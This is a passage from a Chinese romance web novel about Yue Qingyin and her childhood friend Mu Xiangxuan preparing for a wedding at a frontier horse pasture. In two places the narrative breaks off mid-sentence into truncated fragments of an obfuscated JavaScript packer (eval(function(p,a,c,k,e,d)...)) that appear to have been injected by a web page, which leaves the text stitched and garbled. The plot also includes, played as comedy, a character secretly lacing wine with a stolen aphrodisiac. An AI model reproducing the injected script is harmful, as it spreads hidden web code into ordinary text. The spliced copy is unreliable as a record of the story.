……在半刻钟之前,她分明还这样看着他! 他顿了顿,低头接过筷子,递到她面前,轻声提醒道:“不是饿了么,可以吃了。” “好。”越清音随口答应。 应完,她却不拿筷子,多看了几眼后,还兴奋地晃晃慕相玄的胳膊。 “相玄,你看他!” 她示意他望那红衣的新客。 慕相玄:“……” 他感觉自己就是那碟被冷落的炙羊肉,被盛在绿油油的荷叶包里,怀里还揣着一筒子蘸醋。 “……我不想看。” 少年垂着眼,闷闷地问:“怎么了,你觉得他好看?” “若你喜欢红衣,我也可以买一身红的……” “不是不是!” 越清音迫不及待打断,悄声说:“你看见了么?都差不多年纪,他竟然比你还高些!” 慕相玄闻言,从方才的思绪中匆匆抽离。 他迷茫了瞬,一时竟领悟不到她话语里的要点。 反而是乌维言一听,立即就笑了。 “你俩还真是,各人有各人的痴病。” 他隔着空气对越清音的脑袋指指点点:“天外有天,人外有人,难不成相玄真能事事都占个‘最’字?” 乌维言啧啧两声,回想起,他与越清音在六七岁时就正经结了金兰。 彼时,他这义妹虽性子顽劣些,但也没有什么糊涂执念,每日只有用不完的机灵劲儿,没心没肺地瞎玩。 直到十岁那年,慕相玄与他姑母来了融州,入了越柳营。 那时候,慕相玄还不会读唇语,偏偏耳疾更加严重,十句话有八句都听不清,仅剩两句听清了,又听不懂融州的口音。 许是自幼所受的教养拘束,每当别人同他说话,他总会努力去听,会侧着耳朵去分辨,每一句都尝试去理解。 可经常花上大半个时辰,也只能同别人说明白寥寥几句话语。 渐渐的,新鲜劲过去,营中愿意和他说话的人就少了。 那是个闲不住的年纪,同龄的小伙伴每天成群结伴地追逐嬉闹,欢声笑语能摇得满院的树梢枝叶晃动,簌簌纷纷地飘落。 慕相玄却默默坐在角落里,学会了一个人发呆。 就是这个时候,越清音与乌维言从草场回到了越柳营。 越家的姑娘见慕相玄的第一眼,就傻乎乎地迈不动步子了。 她问别人:“他是谁?” 有人笑嘻嘻地说:“是个不会说话的小聋子。” 越清音一愣,不禁感慨:“天啊,原来聋子是这样好看的,能不能让我替他聋了啊……” 包括乌维言在内,谁也没想到,最能闹腾的小姑娘,偏偏看中了最安静的人。 她分明有那么多玩伴,可在她眼里,只有那小聋子才是最好的,而且还是天底下第一好。 她每天都甜滋滋地转在他身边,要缠着他一起做所有事情。 哪怕慕相玄起初只有沉默,她也不会气馁,照样同他有说不完的话,还把甜言蜜语一箩筐一箩筐地往他身上倒。 读书,她要慷慨称赞他是最明悟聪慧的。 练字,她要激扬夸奖他是最端正遒劲的。 学习读唇语,她每日都陪着他,但凡他学会看懂一个词,她都能神气活现地吹捧个三天三夜,非要赞扬他是这世上眼神最好的! 啧…… ……这世上眼神最好的,真是什么鬼话都能说。 那段时间,乌维言很是敬佩慕相玄,当聋子真好啊,都不用怕被她叽叽喳喳地烦死。 后来也出乎众人的意料。 越清音没有玩腻,慕相玄也没有烦死。 那两人日渐一日地熟悉起来,甚至还多了些旁若无人的小亲近。 少女的甜蜜称赞声,愈发四季昼夜永不缺席。 乃至于后来年岁长了,慕相玄正式开始习武。 少年初出茅庐,每日过招,都要在营中教习的手底下领回一身的伤,青青紫紫的瞧着骇人。 清音看了总是难过,抽抽噎噎地拉他去军医处上药,乌维言就在军医处里,看多了难免要玩笑。 “这回可算知道了吧,至少他的武功不是最厉害的?” 越清音眼泪珠子一颗颗地掉,仍倔强地给他找补:“在同辈之中,他就是最厉害的!” 城关外的火堆焰暖,照亮三人面前的方寸之地。 乌维言瞟了眼自己的义妹。 少女混着鄯善血脉的瞳眸色泽很浅,这双浅眸只要沾泪,就很容易变得通红通红的,泛肿着难以睁开眼。 而他打小看着慕相玄习武,少年从不懈怠练功,寒冬酷暑也会坚持练枪练剑,不出几年就能在教习的手底下讨到巧处,再也没受过重伤……大概就是怕她不小心把自己哭瞎了吧。 至于今日这场景,乌维言不用想也知道是她的老毛病犯了。 他笑着调侃越清音:“你该不会以为相玄就是同辈之中最高的吧?” “他是身形高挑,但融州城这么大,有数十万的百姓……” 眼见少女扁扁嘴,不大高兴的样子,慕相玄直接将一个果子塞进乌维言的嘴里:“吃你的去吧。” 慕相玄塞完,又回头对她笑道:“屠军师说有些男儿弱冠后才会停止生长,说不定我真的还能再高几寸。” 乌维言翻了个白眼,咬着果子咕哝:“做梦吧,你就知道瞎惯着她。” 两人各自胡扯一通,旁边越清音的注意力却已经走远,又去到那红衣少年的身上。 只见那人挽起了衣袍,脱了长靴,时而在草岸上俯看,时而踩下河畔涉水摸索,不知过了多久,竟从水底摸出一朵黄灿灿的花儿出来。 周边人见了,立时爆发出一阵喝彩欢呼,不少人高声喊着“恭喜恭喜”。 那红衣少年腼腆一笑,妥帖收好花儿,朝四周拱拱手,又继续往青河下游摸去。 “那是什么?”越清音眼巴巴地望着。 乌维言见怪不怪,悠悠道:“金乌羽,蜜炬烬,沙洲河岸黄金花。” “那原是味药材,因着在鄯善有些神话传说,便带上了两情相悦的美名。鄯善国人成亲时,有心的新郎都会来摘几朵,回去送给自己的新娘子。” 越清音记得方才那黄金花儿的漂亮模样,只一瞥就足够惊艳。 她听见“鄯善”二字,双眸一亮:“那以后我成亲的时候,也会有吗?” 慕相玄转头过来,看见她亮晶晶的双眼,忍不住又看了看。 乌维言却打了个冷颤:“你还是别折腾人了……” “郭将军不是快成婚了么,他娘子是鄯善国人,前几日我们陪他出来找这蜜炬烬,大半日下来,一群人只摸到了三朵……” 他摇摇头:“这花儿在野外藏得太深,太考验运气,也不是想找就能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乌维言说着,装模作样地锤锤自己的腿:“为了找融州城里最好的酒,我陪她跑了一下午,大小酒家酒肆都逛了十几家,哎!” 给婚礼合卺用的…… 慕相玄眸光动了动,从那十余坛酒上逐一划过。 “找到了么?”他放柔了嗓音问。 “当然!” 越清音得意地昂昂脑袋,示意他看居中的两坛酒酿。 黄陶古朴的坛身,瓮口用蜂蜡密封着,酒坛子上可见新新刮去泥沙的刀痕,瞧着就是两坛陈酿。 慕相玄从她的目光里看出某些又好奇又想按耐的跃跃欲试,他忍不住笑:“合卺只要一坛就好,另一坛,我开给你尝尝?” 越清音欣然答应,坐直了身子。 慕相玄从她腰侧抽出匕首,仔细挑开酒坛外头的苎麻绳与蜂蜡,果然,才推开盖子,浓醇的酒香就扑鼻而来。 光是闻着,已足以让人食指大动。 他叫乌维言借回只干净酒碗,利落倒出半碗澄净酒饮,然后将那碗递到越清音的嘴边。 越清音垂眸看了眼,似认真闻了闻酒香。 她启唇轻抿了一口酒,就安静地不出声了。 慕相玄瞧着她的反应,奇了:“不好喝?” 他收回手,就着她的碗尝上一口,只觉十年甘洌,老酒锋芒尽化为柔,真真是香留齿牙。 少年索性仰头将碗里的酒水喝尽。 越清音看见他的唇角有酒液划下,滑过他锋利的下颌与滚动突起的喉结,最终没入武官的衣领里。 她眨眨眼,见他喝尽那碗,顺手搁下酒碗。 慕相玄说道:“很好喝,不愧是融州城第一。” 他又问:“这是什么酒?” 越清音低头看看那酒碗,又抬头看看他。 共饮过的酒碗立在二人之间,碗沿痕迹湿润润的,已然难分彼此。 少女弯着杏眼,轻笑了下:“你喜欢?” “是我的女儿红。” 10.肃王 许是因为白日逛了太久,又或是因为夜里喝了一小口酒,今夜越清音睡得格外香沉,毫无意外地坠入梦乡。 梦里是一片昏沉无边的黑暗。 她浑浑噩噩地晃荡前行,说不清走了多久,忽然“砰”地一声,整个人撞上梦境的透明边界,就此被阻拦,再也无法向前迈开步子。 越清音微愣着抚上眼前的透明墙,只听见咻咻两声,墙内有簇红幽幽的火光亮起来。 那火光有着橘红的焰火外围,还有更为明亮的内焰,隔空都能感受到它的温暖热意。 越清音被暖光烘得惬意,情不自禁眯了眯眼眸。 而后墙内的小火光似乎被添了把干柴,倏然烧得更为炽盛,变成了暖蓬蓬的大簇篝火。 “真暖啊……”她由衷呢喃道。 “清音。” “清音,清音……” 一道清朗的少年声线将她从睡梦中唤醒:“清音,该醒醒了。” 越清音感觉到脸边传来一道轻捏的力度,似乎有人饶有兴致地逗着她,她不大满意地拧了拧眉头。 慕相玄好声道:“再不起来,去到於康草场就该天黑了。” 她嘟囔了两声,好艰难地睁开眼,才发现自己披着他的外袍,靠在他肩上睡了一夜,少年人气血方盛,用体温将她裹得暖融融的。 越清音想起了什么,往一旁的火堆看去。 昨夜明焰旺盛的柴火堆,如今已经熄灭,空留一堆余温浅淡的灰白柴炭。 慕相玄看着她的神情,猜到几分:“又梦到你的命火了?” 越清音点点头:“是呢……” 她六岁那年,更西北的戎卢向大昭、鄯善两国发难,她意外被卷入战乱之中,曾经与家人走散。 虽然后来有幸与父亲团聚,又与乌维言拜了把子,玄之又玄地从大病中康复醒来,但在那之后,她的梦里总会出现一簇火苗,明幽幽地燃烧在黑暗处。 屠军师说那簇柔弱微小的火苗,就是她的命火。 他说她的命火那样虚弱不稳,是孤阳不长的前兆,若想求得健康长寿,就得多多游历、结交善缘——毕竟道家总说,“天道无亲,善者自兴”,唯有善缘才能感召天地正气的护佑,福寿也会随之而来。 想到这,越清音心花开放,说道:“昨夜我梦见它烧得好旺,竟比往日壮大了足足一倍!” 她乐滋滋地猜想,难不成是因为她昨日来回奔走,为未来继母备下礼品,也算是为二人的良缘提前埋下了善因? 小小举动,命火就壮大得立竿见影,想来,那道赐婚圣旨确实是她的善缘! 慕相玄见她眉梢带上喜色,也不由感到愉快,轻松开起玩笑:“说不定是昨夜生的火堆懂事,分了些柴火入你梦里,改日我多带你出来烤烤火……” 两人说笑的功夫,乌维言已经将马牵了过来。 他催促道:“快些动身,早些去到於康草场,还能赶上午膳呢!” 两人应了。 越清音刚睡醒,还犯着懒,见慕相玄弯腰伸出手,便习惯性地抬起手,等他拉她起身。 谁知他的双手早早停在了前方,没有拉她,反而小心翼翼地抱起两坛子酒。 正是她那两坛女儿红。 昨夜开了封的那坛,已经被他妥善盖严、缠回苎麻绳,重新密密封起了瓮口。 越清音抬着手,却只接到一手的空气,登时一头雾水:“嗯?” 慕相玄这才发现她伸手的动作。 他还以为她又想要酒,下意识将手里的酒坛往身后藏了藏。 少年微微赧然地劝她:“不可以的,要到成亲那日才能喝……” 越清音:“嗯……?” * 如今正是夏至前后,边关天穹澄澈如洗,晨光遍洒一望无垠的碧草,风过时,悦耳的草浪声沙沙作响,夹杂着野花的清新香气。 三人顺利过了士兵的值守关卡,策马直入於康草场。 这是大昭国的边关牧场,畜养了万数战马,才入六月,已有开春新生的小马驹陆续断奶,顶着还未长齐的短短鬃毛,在草场上撒开四蹄奔跑,相互追逐着玩闹。 原本应该直接去军台院落,但越清音沿途遛了几匹小马驹玩儿,很快少年心性大发。 她甩开马鞭,撒了欢地纵马飞驰,迎风高呼两声,快得连草场上的风都追不上。 都是一起学的马术,自然谁都不肯落后,三人拉起马缰就要比试。 意气飞扬的马蹄声先后闯入牧场,惊得云雀成片成片地飞起,掠过鲜亮的衣袂在风中扑簌翻腾。 “清音,看我!” 慕相玄高声喊着,用力收紧缰绳,身下战马立即扬高马头,跃起飞越过数个高耸的草垛,踏起的草尘引得另二人连连欢呼。 “教我教我!”越清音畅声喊道。 三人玩得正是起劲,都没看见有道愤怒的白影扑面而来。 待越清音意识到不对劲,急忙想要掉转马头时,那道影子已经快要和她迎面撞上了。 她惊呼着猛力勒紧缰绳,战马扬蹄嘶鸣,眼前景象遽乱。 可预想中的冲撞并未发生,反倒是耳边闪来一道长鞭破空声,再稳住定睛时,那道白影已经被慕相玄卷到了手里。 他提着一只雪白的小鹅。 小鹅愤怒又憋屈,朝他嘎嘎怒骂一顿,又回头冲着兄妹俩使劲扑腾挣扎。 越清音大惊:“大哥?” 乌维言大惊失色:“别伤它!” 慕相玄一阵无语。 他听营中老兵说过,这对兄妹幼时十分顽劣,曾三番五次瞒着大人们去城外青河玩水。有一次发生意外,二人不小心被卷入汛期的河浪之中,差点就要淹死了。 幸好清音身上总是带着零嘴,过往时常投喂这只小鹅,也算结下了交情。那次二人遇险,是小鹅奋不顾身地扎入河流中,累得半死才将兄妹二人拖上了岸。 救命之恩无以为报,兄妹俩当场跪地,认它作结拜大哥。 慕相玄:“……” 他看向小鹅的颈项,那儿系了段粉色绸带,是越清音为它做的记号,从此它就好好养在了越柳军营里,也常四处溜达玩耍。 她念着救命恩情,还为它取了名,叫越青河。 也是因为这只越青河的存在,慕相玄才从清音口中了解了些鄯善习俗,说是野禽天生天养,他们从不将禽鸟锁入笼槛之中。 所以在京城的时候,得知圣上会遣礼官送来赐婚的红贺,慕相玄还特意同礼部叮嘱过:红贺里万万不能有大雁——若是让清音知道雁鸟被困一路,她心里会难受的。 对着越家兄妹紧张万分的视线,慕相玄也没有忘记方才的险急。 他捉着越青河背过身,低声威胁道:“再这 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越清音听着稀奇,见慕相玄朝她看来,还是笑眯眯地道:“快去吧。” 目送少年将军带人离远后,越清音跟在其他士兵的后头,一边由着他们引路去客院,一边好奇地问:“怎么回事,郭将军忙什么呢?” “大约是备婚的事吧?” 有个瘦条士兵应道:“郭将军的婚期马上就要到了,可不得好好准备一下?” 旁边有个士兵不认同:“郭将军的婚宴早就准备得差不多了,要我说,是忙着迎接那群京城来的礼官才对!” 越清音耳尖一动:“礼官?” “对呀,刚刚收到传信,说有支京城的礼官队伍,这两日就能来到草场。” 说起这茬,士兵们都打开了话匣子,纷纷抱怨起来:“越姑娘你不知道,那群礼官的架子有多大!” “信里头明说了,既要我们提前准备下马宴,又要我们单独设置客院与更衣之所,还要备下红顶大轿、多设两盏琉璃官灯在军台……” 一长串的要求,听得越清音与乌维言眼神呆滞。 乌维言忍不住感慨:“我义父官至一品,都没他们那么多讲究。” “嗐,这算什么讲究……” 有位年长些的士兵轻啧两声,同众人分享道: “十多年前,我曾在赤旗州见过大昭的王爷——肃王!那排场才是真的讲究呢!” 越清音听这名号,不禁觉得耳熟:“肃王么……” “对,肃王!” 那士兵一拍大腿,绘声绘色地描述起来:“那王爷的架子摆得可厉害了!” “出门时仪仗开道、旗伞如林,短短百十步路也要用骏马华轿,左右跟着丫鬟、内侍、护卫随从近百人……声势那样浩大,我还以为是哪儿出兵了呢……” 说到这,士兵不屑地啐了口。 “原来,只是肃王爷要去青楼寻欢作乐罢了。而且听闻那时候,肃王妃薨于产褥,刚刚入殓下葬不久,是真的尸骨未寒……” 他摇摇头,替那已故的女子感到不值:“嫁给肃王,真是倒了八辈子的霉!” 越清音听完,郑重点头表示认可—— “谁嫁给肃王,真真是倒了八辈子的霉!” 11.姻缘 与郭修谨起早贪黑忙活了两日,慕相玄在这天清晨收到了快信—— 京城的礼官今日傍晚就能到达於康草场——带着圣上的赐婚圣旨与红贺。 慕相玄先是松了口气,明儿是郭修谨的大婚,礼官们赶在今夜子时前到达,才不会打乱郭家的婚宴安排。 随后,他才后知后觉地发现胸腔里的剧烈砰动,心跳已经兴奋得如同战鼓轰擂,喜悦按耐不住地要冲破胸口。 他飞快丢下手里的事务,迫不及待就想去告诉清音。 前些时日安源州事态有变,越将军被绊住了脚,今日是赶不到於康草场的,只怕这道赐婚圣旨,还得她亲手接领。 少年将军大步流星,穿过一道道张灯结彩的吉庆屋檐,越过一名名腕系红绸的越柳将士,似被漫天的喜庆所鼓动,走着走着不自觉跑了起来。 “清音!” 他手撑住门扉,大步跨进军台尽头的一间小屋里。 越家的三兄妹还在为明日的婚宴打下手。 雪白的小鹅将一个个鄯善乐器分类排好,推到乌维言面前,由他逐个擦拭干净,越清音则在旁边埋头捣鼓着什么。 见他来了,她立即笑起来,露出甜甜的梨涡:“快来帮忙。” 乌维言刚擦完一支胡笛,轻手放到一旁的托盘里,说道:“快来,这可是明儿的重头戏!” 慕相玄稍微按下迫切的心,将目光移到满桌的乐器上。 “鄯善国人敬重自然,人生大计都要禀知天地神明,成婚也在此之列。” 乌维言拿起另一支胡笛,语气中透着虔诚:“新人要同天神祈祷,期望婚姻顺遂美满,这叩响天门的乐曲可是必不可少的!” 越清音好奇更多:“我还未曾听过鄯善的喜乐呢。” 乌维言将一只扁鼓递给慕相玄,随口应道:“今夜子时你就能听见了。” 慕相玄听完,接过扁鼓。 他顺手捡了条细布,坐到一旁擦拭,自然而然地流露笑意。 “若真如你所说,那这喜乐确实是件重头戏,谁不希望自己的姻缘顺遂美满呢……” 慕相玄擦拭扁鼓的力度轻缓,低头时浅色的发带垂缨落下鬓边,将那双冷淡的长眸也衬得柔和几分,露出青涩的少年气来。 他悄然想着自己与清音,总角之交,两小无猜,长大后顺理成章地结为连理,往后生同衾死同穴,永世不离…… 天底下再顺遂美满的姻缘也不过如此了。 乌维言想起什么,调侃道:“都好好擦,郭将军太需要这喜乐了,毕竟他娶妻历经波折,可不得跪求婚后顺遂么?” 郭修谨与他即将过门的夫人相识在安源州。 彼时那姑娘还是个生计艰难的鄯善药材商,她在山野里救起濒死的郭修谨,冒着戎卢军队搜查的风险,偷偷为他疗伤治病,好不容易守到他伤愈,却在战火中与他失散,就像滴水汇入汪洋,再也摸不出踪迹。 许多人都劝郭修谨放下,可那事事吊儿郎当的青年却偏偏执着于此,但凡抽出空闲都要四下寻人。 所幸皇天不负有心人,真叫他发现了心上人的行踪——结果人家早把他忘了,身边还跟了个几岁的小孩儿。 郭修谨只颓废消沉了数日,很快又振作起精神追在人家身后跑,历经千辛万苦,终于抱得美人归……至于查出那姑娘失忆的真相,以及发现孩子就是他自己的血脉,那就是后话了。 屋子里,小鹅仍在“唰唰”地专心清洁乐器,余下三人已是感慨万千。 乌维言:“找人的那些年,郭将军也很不容易……” 慕相玄甚至不敢设身处地去想,若是他将清音弄丢在茫茫人海中,他该如何自处? ……他肯定都不想活了,可找不到她,他又不敢去死,那与每日被架在烈火上烹煎有何区别。 他下意识抗拒这种事情,但身旁的少女显然反应不同,情绪高涨得堪称兴奋。 越清音双手扒住桌沿,兴致勃勃道:“郭将军这段姻缘,简直比话本子还要精彩!” 慕相玄察觉出些危险,警惕地竖起双耳:“你喜欢这样的?” 越清音理所当然地点点头:“谁不喜欢轰轰烈烈的感情呀?” “……我就不喜欢。” “为何?” 慕相玄稳住声调,试图循循善诱:“清音,你不觉得青梅竹马、细水长流的感情更为温馨动人么……” 越清音马上蹙起柳眉,欲言又止:“相玄……” “你说的那种寡淡又无味,写在话本子上都是卖不出去的!” 慕相玄顿时哑住。 越清音只当是看故事听热闹,半点也没往自己身上想,更没留意身边少年的反应。 慕相玄束起的马尾辫一下就没精打采地耷拉了下去,彷若遭受到从未预想过的打击。 她说寡淡无味…… 他虽知晓她性子活泼,一向贪玩好热闹,但实在是没想到…… 他忍不住觉得委屈:“还未成亲呢,你就觉得寡淡了?” 那若是再过两年呢? 等她把他彻底玩腻了,该不会多看他一眼都嫌烦吧…… 少年心里刮起萧瑟的风,凄凉地想,不是说越柳营军规如铁、人人忠义守矩么? 到底是谁把她娇纵得这样贪鲜爱趣、完全不受约束的啊…… ……哦,好像是他自己…… 慕相玄独自风萧萧雨飘飘,旁边的越家三兄妹倒是达成了共识。 “别说姻缘了,就连我们这兄妹情分,也是历经生死、轰轰烈烈的才好!” 乌维言说着,用力将越青河薅进怀里,笑嘻嘻地一顿乱搓乱揉,揉得雪白的鹅毛乱七八糟。 小鹅气急败坏,爬上他头顶就是一通狠啄。 两兄弟闹得不可开交时,越清音目光随意瞥去,看见乌维言的袖口滑出些东西。 “这是什么?”她下意识伸手去摸。 “啪”地一声,乌维言想也没想,用力拍开她的手:“别碰!” 越清音吃痛,难以置信地捂住手背。 下一刻,她就满脸委屈地转去另一边告状:“相玄……” “嘘嘘嘘!好祖宗,我一时心急对不住!” 乌维言连忙拦住她:“不要声张,这是我今早配的药!” 越清音狐疑:“什么药?” 胡人少年轻咳了声,面上露出几分不自在。 他心道,自家义妹到底是个未出阁的女孩儿。 她虽然有心与未来继母修结善缘,甚至提前挖出自己的女儿红做礼,但压根没搞明白关键—— 新人成亲,最重要的不是那盏交杯合卺酒,而是后头的洞房花烛夜啊! 乌维言没有洞过房,但也听过些许皮毛,人人都说,新婚之夜的体验可是新人建立感情的基础! 昨儿他替郭将军忙活时,忽然灵光闪现,想起义父大人已经年近四十了。 虽说义父看起来体格健壮,但毕竟不是精力旺盛的二八年华,也不知道会不会吃力…… 乌维言不免替义父捏了一把汗。 万一他的未来继母不满意,那这桩喜庆婚事岂不是刚开头就要惨淡收场? 绝对不可以! 胡人少年自诩没有多大本事,但好歹是个孝顺的义子、体贴的义兄。 为了义父的姻缘、义妹的善缘,他毅然决然地违背军医操守,从军医处顺了药材,配出一剂绝世无双的狠药! ——医书上面写了,只要将此药服下,哪怕是死人也要金枪硬挺两个时辰! 恰好前几夜相玄开封了一坛女儿红,乌维言就将那药全数倒进了酒里…… 他真是为这桩赐婚操碎了心! 眼下,面对着义妹的询问,他的自我感慨、感动之心汹涌澎湃,却又难以直言,只能深深藏下功与名。 “别问了,总之对你善缘大有益处,来日你会感激我的!” 胡人少年慷慨摆摆手,腕上系的喜庆红绸招摇又得意。 说完,他又赶紧将掉出来的药包塞回袖子里,同自家妹妹嘱咐道:“你别碰这个,知道吗?” 越清音看他脸上的神情时愁时喜、时激昂时壮烈,但说了半天也没说出个所以然来,她也没了兴致。 少女敷衍地点点头,继续捣鼓自己的事情。 方才陷入凄风苦雨的少年将军终于回笼理智,想起二人自幼相伴的深厚情谊来。 慕相玄心道,真是关心则乱,怎能因为三言两语就早早成为惊弓之鸟,以为自己往后就是深闺怨夫、望妻之石了呢? 她只是年少贪好新鲜,偶而被外界的精彩吸引了注意力罢了,难不成她会狠心抛弃他吗? 不会的! 他记得清楚,幼时他离开奴仆环绕的京城,来到举目无亲的越柳军营,起初并没有多少人愿意同一个小聋子玩。 但她愿意。 那时候他们初初相识,她就对他关心有加,或许只是因为她心地善良,不忍见他落单孤独。 但如今,她和他在一起七年了。 慕相玄想,就算是当作养一条狗,她养了七年,也该对他有些感情了吧? 更何况…… 他看向束在自己腕间的护腕,想起她每年都那样细心地量裁,亲手为他缝制新的护具…… 少年耳根微热地想,说不定她对他还挺有感情的。 慕相玄重拾自信,打起精神挪到少女身边:“对了,清音……” 话音未完,他就看清了她手上的物什—— 一副崭新的护腕。 越清音专心地在皮料上定针扯线,头也没抬:“怎么了?” ……是给他做的新护腕! 真是彼时风雨此时晴,慕相玄只觉屋顶上的层叠乌云蓦然移散,万道霞光慷慨地洒下人间。 他心软又心疼,对着她握针的泛红指尖看了又看,忍不住想接手:“累不累呀,要不剩下的交给我来……” “不用,马上好啦。” 越清音熟稔地拉出最后一针,扯掉余线,拿远些打量:“用青线包边,可以么?” 慕相玄喜欢青色,自然连连点头:“可以!” 谁知旁边也传来碍耳的一声:“可以!” 慕相玄想叫对方走远点儿别碍事,然而还未来得及开口,就见越清音满脸轻松,将那副簇新的护腕塞到乌维言的手里。 她说:“可以用了。” 乌维言高呼一声,油嘴滑舌地溜须拍马:“祖宗巧活!多谢赏赐!” 少女轻轻哼了声,继续捡起乐器擦拭。 慕相玄定在一旁,宛若石化。 哑了好半晌,他才回神,幽微地问了声:“……那是给他的?” “嗯,他先前那副已经旧了。”越清音不以为然。 慕相玄:“……” 方才还灿烂无边的霞光立即蔫巴回缩,被合拢的沉沉乌云彻底遮住,隐隐的滚雷声闷响。 少年低下头,不说话。 片刻之后。 他默不作声捡起一只胡埙,三两下擦干净,却放着自己面前的托盘不用,非要伸长手放到清音面前的木质托盘里。 他束紧的旧护腕早已磨得边缘花白,显眼地在少女面前晃来晃去。 越清音专心干活,并没有往旁边多看一眼。 好几个来回,也始终分不到视线,少年闷声丢开手里的乐器,泄气地倒在椅背上。 “唉……”叹息声也无人理睬。 慕相玄郁闷地抓起少女腕间系着的红绸,瞎绞一通。 约莫过去小半刻钟,勤勤恳恳的越家三兄妹收拾齐整桌上的乐器,终于要起身离开。 小鹅头顶一托盘,脚底抹油,领队开溜。 乌维言手里两盘,风驰电掣,一骑绝尘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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慕相玄张了张口,半晌后才愣愣道:“我还以为是你给他做的……” 越清音噗嗤乐了:“我为什么要给他做?” 方才胸口的沉滞一扫而空,少年的漆色眼眸点起光亮,立时为这方僻静的小屋点缀上微芒。 越清音生出好奇,想要看清他瞳眸的颜色,殊不知低头凑去太近,猝然闻见他身上干净清冽的气息,就像清爽的雪迎面覆来。 她心底微乱,下意识想后退,却被他一下子拉住了红绸。 慕相玄反倒又将她拉近了些。 他探究地看向她的眼睛,轻声问:“那你为什么给我做?” 越清音好像触到了什么,悬空的指尖微微蜷缩起来。 她下意识想答,哪有什么为什么…… 可是问题问到眼前,有些答案便像小气泡,一个个争先恐后地往心海上冒。 其实还挺多原因的…… 因为他是武将,远比军医更需要一副结实的护腕…… 因为他习武刻苦,哪怕是平日也比旁人更易劳损受伤…… 也因为他对他自己也不上心,时常捡了副军营里的护腕就凑合着用,若非她亲手缝制之物,他说不定隔天就不知道丢哪儿去了…… 越清音大概能罗列出百十条理由,可不知为何,被他这样专注地看着,她却连一条也说不口。 良久,她只好讷讷答了句:“你与他又不一样……” 慕相玄似乎笑了下,周身清冽的气息也舒展几分。 “是么?” 他的视线划过她的唇瓣,游离于她的双眸间,语调轻又执着:“我与他有什么不一样?” 越清音忍不住再低了低头,看见二人腕间牵挂的红绸,还有被他越解越乱的系结。 人在特定时候总会激发些潜能,越清音福至心灵,迅速伸手捉住一段绸带,竟然没怎么用力就挑散了系结。 她果断转身开溜,慕相玄比她反应更快,擒拿似的拉住红绸,三两下绕回自己的掌间。 短短眨眼的功夫,情形瞬息万变,脚步就乱了,越清音慌乱间左脚踩住右脚,踉跄着软了几步。 有人迅速起身,一把搀稳了她。 方才还坐着仰视她的人,如今直接比她高出一个头,高大的身影将她整个人都笼罩起来。 她心跳漏了半拍,仓促地移上视线,对上少年低垂的纤长眼睫。 “对不起。”他这样说。 越清音不大明白他在为什么道歉,只见他动作轻柔地将红绸放回她的手里。 她竟然生出一种荒谬的错觉,还以为看见他把他脖颈上的系绳交到她的手中。 慕相玄稍微侧过目光,看见她躲闪的眼神,心中懊恼不该逼她太紧。 他们会相伴一生,他可以用一辈子等她想明白自己的心意。 越清音攥着红绸不知该说什么,所幸屋外的敲门声打破了僵局。 “慕将军!营中派人送东西来了,说您营帐里积了不少的包裹!” 屋子里的二人不约而同松了一口气。 慕相玄多了些诧异:“我有许多包裹?” 越清音却知道由头,大概是那些她为未来继母准备的礼品,话本子什么的,她先前托店家送去营中,如今被营中士兵送来草场了。 她偷摸端详身边的少年,试探性地揪住点他的袖子。 方才的插曲就像潮水退散无踪,慕相玄神色相当平静,一如往常地温声问:“怎么了?” 少女对上他熟悉的语调与神情,立即就心大地忘了所有波澜,轻松舒服地挽上他的胳膊:“相玄!” “你去看,”她甜甜地笑,“我给你备了礼物!” 12.清音 慕相玄揣着怀里没交出的信件,又稀里糊涂地被越清音拉回他的院子。 於康草场四方辽阔,仅在草场中央搭建军台,布局与越柳营相似,十数余院落、厅堂殿宇紧凑罗列在中部,士兵们的宿舍、粮仓分散东西,南侧则有祭祀天神的祭台高高伫立。 慕相玄的院子坐落在军台正中的地段,原本十分肃正清静,庭院里只有个冰冷冷的兵器架子,连朵娇艳的花儿都没有。 但现在一推开门,就是一摞摞色彩斑斓的新包裹,横七竖八地抢占空间,将他的兵器架子挤到了角落。 大部分都是越柳营士兵送来的,还有极个别,是越清音今儿清晨才让人送来的。 慕相玄远远瞟见她霸道的包裹与他憋屈的兵器架子,颔首点评道:“真是物随其主。” 他捋高袖子,想帮越清音收拾这满地狼藉,但少女及时制止:“这个不急……” “先来猜猜我为你准备了什么礼物?” 越清音连蹦带跳绕到他身后,要捂他的眼睛。 可是少年身量高出她太多,她费劲踮脚,才摇摇晃晃地捂住他的双眼。 距离房门还有些距离,她这样推着他,没走两步就累得够呛,一下子气性又上来,扁扁嘴撒开手,很不高兴地往他的胳膊上拍了一巴掌。 “长这么高做什么!” 慕相玄:“……” 小时候她踩着他的肩去摘桃花的时候,不是还嫌他不够高么! 他心里直呼无辜,但还是从善如流地弯下腰:“来,这样捂。” 越清音嘟哝着踢踢脚下的石子,勉强放过道:“罢了罢了,你闭着眼睛就好。” 她晃悠悠地拉住他的袖子,带他往房间里去,不忘嘱咐道:“可不许偷看……” 慕相玄顺从地闭着眼,心里默应,这儿不安分、爱偷看的人,分明只有她…… 他顺着她的牵引,进到房中站稳,便感觉袖子上的力道松开了。 少女轻手轻脚地离开,似乎悄悄捣鼓起什么物什。 慕相玄耳力薄弱,听不大清她的动静。 但他嗅觉出挑,随意翕动鼻尖就能捕捉到那缕清甜沁人的橙花香气,闭着眼睛也能猜到她在哪儿。 约莫是又跑进跑出一趟,拖来什么东西,伴随着隐约的窸窣响声,他忽然皱了皱鼻尖。 有道明显不同的幽香,突兀地出现在他的身前。 慕相玄闻着那阵香气,只觉异常熟悉,凝神思量了会儿,一道灵光从记忆中乍然闪出—— 是那个装满了暧昧衣物的包裹的熏香味道! 那天他仔细端详过包裹里的衣物,对这道缠绵悱恻的熏香记忆犹新,绝对不会认错…… 慕相玄的心里立即敲响警钟。 她将这包裹翻出来做什么? 